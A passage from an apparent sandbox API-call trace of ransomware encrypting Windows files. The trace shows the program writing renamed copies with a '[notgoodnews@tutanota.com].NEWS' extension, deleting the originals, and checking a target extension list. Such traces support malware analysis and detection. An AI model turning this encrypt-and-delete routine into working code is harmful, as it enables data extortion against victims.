0x190 [0070.671] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.672] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0070.672] GetLastError () returned 0x0 [0070.672] ReadFile (in: hFile=0x190, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0xa90c, lpOverlapped=0x0) returned 1 [0070.685] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xa910, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xa910, lpOverlapped=0x0) returned 1 [0070.687] ReadFile (in: hFile=0x190, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.687] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xec, lpOverlapped=0x0) returned 1 [0070.687] SetEndOfFile (hFile=0x1e8) returned 1 [0070.688] CloseHandle (hObject=0x1e8) returned 1 [0070.688] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.688] SetEndOfFile (hFile=0x190) returned 1 [0070.690] CloseHandle (hObject=0x190) returned 1 [0070.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0070.690] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 1 [0070.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0070.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0070.691] lstrlenW (lpString=".doc") returned 4 [0070.691] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0070.691] lstrlenW (lpString=".docx") returned 5 [0070.691] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0070.691] lstrlenW (lpString=".pdf") returned 4 [0070.691] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0070.691] lstrlenW (lpString=".xls") returned 4 [0070.691] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0070.691] lstrlenW (lpString=".xlsx") returned 5 [0070.691] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0070.691] lstrlenW (lpString=".ppt") returned 4 [0070.691] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0070.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0070.691] lstrlenW (lpString=".zip") returned 4 [0070.691] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0070.691] lstrlenW (lpString=".rar") returned 4 [0070.691] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0070.691] lstrlenW (lpString=".bz2") returned 4 [0070.691] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0070.691] lstrlenW (lpString=".7z") returned 3 [0070.692] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0070.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0070.692] lstrlenW (lpString=".dbf") returned 4 [0070.692] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0070.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0070.692] lstrlenW (lpString=".1cd") returned 4 [0070.692] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0070.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0070.692] lstrlenW (lpString=".jpg") returned 4 [0070.692] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0070.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0070.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0070.692] lstrlenW (lpString=".doc") returned 4 [0070.692] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0070.692] lstrlenW (lpString=".docx") returned 5 [0070.692] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0070.692] lstrlenW (lpString=".pdf") returned 4 [0070.692] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0070.692] lstrlenW (lpString=".xls") returned 4 [0070.692] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0070.692] lstrlenW (lpString=".xlsx") returned 5 [0070.692] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0070.692] lstrlenW (lpString=".ppt") returned 4 [0070.692] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0070.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0070.693] lstrlenW (lpString=".zip") returned 4 [0070.693] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0070.693] lstrlenW (lpString=".rar") returned 4 [0070.693] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0070.693] lstrlenW (lpString=".bz2") returned 4 [0070.693] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0070.693] lstrlenW (lpString=".7z") returned 3 [0070.693] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0070.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0070.693] lstrlenW (lpString=".dbf") returned 4 [0070.693] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0070.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0070.693] lstrlenW (lpString=".1cd") returned 4 [0070.693] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0070.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0070.693] lstrlenW (lpString=".jpg") returned 4 [0070.693] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0070.694] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0070.694] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0070.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0070.694] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=945) returned 1 [0070.694] CloseHandle (hObject=0x190) returned 1 [0070.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20 [0070.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0070.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0070.695] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.695] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0070.715] GetLastError () returned 0x0 [0070.715] ReadFile (in: hFile=0x190, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x3b1, lpOverlapped=0x0) returned 1 [0070.895] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x3c0, lpOverlapped=0x0) returned 1 [0070.896] ReadFile (in: hFile=0x190, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.896] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xea, lpOverlapped=0x0) returned 1 [0070.896] SetEndOfFile (hFile=0x1e8) returned 1 [0070.896] CloseHandle (hObject=0x1e8) returned 1 [0070.896] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.896] SetEndOfFile (hFile=0x190) returned 1 [0070.897] CloseHandle (hObject=0x190) returned 1 [0070.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0070.897] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 1 [0070.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0070.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0070.898] lstrlenW (lpString=".doc") returned 4 [0070.898] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0070.898] lstrlenW (lpString=".docx") returned 5 [0070.898] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0070.898] lstrlenW (lpString=".pdf") returned 4 [0070.898] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0070.898] lstrlenW (lpString=".xls") returned 4 [0070.898] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0070.898] lstrlenW (lpString=".xlsx") returned 5 [0070.898] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0070.898] lstrlenW (lpString=".ppt") returned 4 [0070.898] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0070.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0070.898] lstrlenW (lpString=".zip") returned 4 [0070.898] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0070.898] lstrlenW (lpString=".rar") returned 4 [0070.898] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0070.898] lstrlenW (lpString=".bz2") returned 4 [0070.898] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0070.898] lstrlenW (lpString=".7z") returned 3 [0070.898] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0070.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0070.898] lstrlenW (lpString=".dbf") returned 4 [0070.898] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0070.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0070.899] lstrlenW (lpString=".1cd") returned 4 [0070.899] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0070.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0070.899] lstrlenW (lpString=".jpg") returned 4 [0070.899] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0070.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0070.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0070.899] lstrlenW (lpString=".doc") returned 4 [0070.899] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0070.899] lstrlenW (lpString=".docx") returned 5 [0070.899] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0070.899] lstrlenW (lpString=".pdf") returned 4 [0070.899] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0070.899] lstrlenW (lpString=".xls") returned 4 [0070.899] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0070.899] lstrlenW (lpString=".xlsx") returned 5 [0070.899] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0070.899] lstrlenW (lpString=".ppt") returned 4 [0070.899] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0070.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0070.899] lstrlenW (lpString=".zip") returned 4 [0070.899] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0070.899] lstrlenW (lpString=".rar") returned 4 [0070.899] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0070.899] lstrlenW (lpString=".bz2") returned 4 [0070.900] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0070.900] lstrlenW (lpString=".7z") returned 3 [0070.900] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0070.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0070.900] lstrlenW (lpString=".dbf") returned 4 [0070.900] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0070.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0070.900] lstrlenW (lpString=".1cd") returned 4 [0070.900] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0070.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0070.900] lstrlenW (lpString=".jpg") returned 4 [0070.900] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0070.900] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0070.900] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0070.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0070.921] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=20371) returned 1 [0070.921] CloseHandle (hObject=0x1ec) returned 1 [0070.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20 [0070.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0070.922] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0070.922] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.922] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.922] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0070.940] GetLastError () returned 0x0 [0070.940] ReadFile (in: hFile=0x1ec, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x4f93, lpOverlapped=0x0) returned 1 [0070.966] WriteFile (in: hFile=0x1e4, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x4fa0, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x4fa0, lpOverlapped=0x0) returned 1 [0070.968] ReadFile (in: hFile=0x1ec, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.968] WriteFile (in: hFile=0x1e4, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xec, lpOverlapped=0x0) returned 1 [0070.969] SetEndOfFile (hFile=0x1e4) returned 1 [0070.969] CloseHandle (hObject=0x1e4) returned 1 [0070.969] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.969] SetEndOfFile (hFile=0x1ec) returned 1 [0070.970] CloseHandle (hObject=0x1ec) returned 1 [0070.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0070.971] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 1 [0070.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0070.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0070.971] lstrlenW (lpString=".doc") returned 4 [0070.971] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0070.971] lstrlenW (lpString=".docx") returned 5 [0070.971] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0070.971] lstrlenW (lpString=".pdf") returned 4 [0070.971] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0070.971] lstrlenW (lpString=".xls") returned 4 [0070.971] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0070.971] lstrlenW (lpString=".xlsx") returned 5 [0070.971] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0070.971] lstrlenW (lpString=".ppt") returned 4 [0070.972] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0070.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0070.972] lstrlenW (lpString=".zip") returned 4 [0070.972] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0070.972] lstrlenW (lpString=".rar") returned 4 [0070.972] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0070.972] lstrlenW (lpString=".bz2") returned 4 [0070.972] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0070.972] lstrlenW (lpString=".7z") returned 3 [0070.972] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0070.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0070.972] lstrlenW (lpString=".dbf") returned 4 [0070.972] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0070.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0070.972] lstrlenW (lpString=".1cd") returned 4 [0070.972] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0070.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0070.972] lstrlenW (lpString=".jpg") returned 4 [0070.972] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0070.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0070.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0070.972] lstrlenW (lpString=".doc") returned 4 [0070.972] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0070.972] lstrlenW (lpString=".docx") returned 5 [0070.972] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0070.972] lstrlenW (lpString=".pdf") returned 4 [0070.972] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0070.972] lstrlenW (lpString=".xls") returned 4 [0070.972] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0070.972] lstrlenW (lpString=".xlsx") returned 5 [0070.972] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0070.972] lstrlenW (lpString=".ppt") returned 4 [0070.972] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0070.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0070.973] lstrlenW (lpString=".zip") returned 4 [0070.973] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0070.973] lstrlenW (lpString=".rar") returned 4 [0070.973] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0070.973] lstrlenW (lpString=".bz2") returned 4 [0070.973] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0070.973] lstrlenW (lpString=".7z") returned 3 [0070.973] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0070.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0070.973] lstrlenW (lpString=".dbf") returned 4 [0070.973] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0070.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0070.973] lstrlenW (lpString=".1cd") returned 4 [0070.973] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0070.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0070.973] lstrlenW (lpString=".jpg") returned 4 [0070.973] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0070.973] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0070.974] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0070.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0070.974] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=1287) returned 1 [0070.974] CloseHandle (hObject=0x1ec) returned 1 [0070.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 0x20 [0070.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0070.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 